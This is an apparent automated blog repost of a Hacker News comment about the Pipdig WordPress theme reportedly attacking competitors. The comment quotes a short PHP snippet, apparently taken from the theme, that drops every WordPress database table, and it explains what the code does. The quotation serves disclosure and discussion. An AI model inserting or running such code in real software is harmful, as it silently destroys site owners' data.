Monday, April 1, 2019

New comment by corobo in "WordPress theme provider Pipdig using customer sites to DDoS competitors"

  global $wpdb;
  $prefix = str_replace('_', '\_', $wpdb->prefix);
  $tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'");
  foreach ($tables as $table) {
   $wpdb->query("DROP TABLE $table");
  }

Essentially for those who aren't familiar with WordPress databases - this drops all tables relating to the WordPress install

from Hacker News - New Comments: "WordPress" https://ift.tt/2WAUwgS
via IFTTT

No comments:

Post a Comment

Vibe Genomics: Sequencing Your Whole Genome at Home

Article URL: https://vibe-genomics.replit.app/ Comments URL: https://news.ycombinator.com/item?id=47818685 Points: 1 # Comments: 0 fro...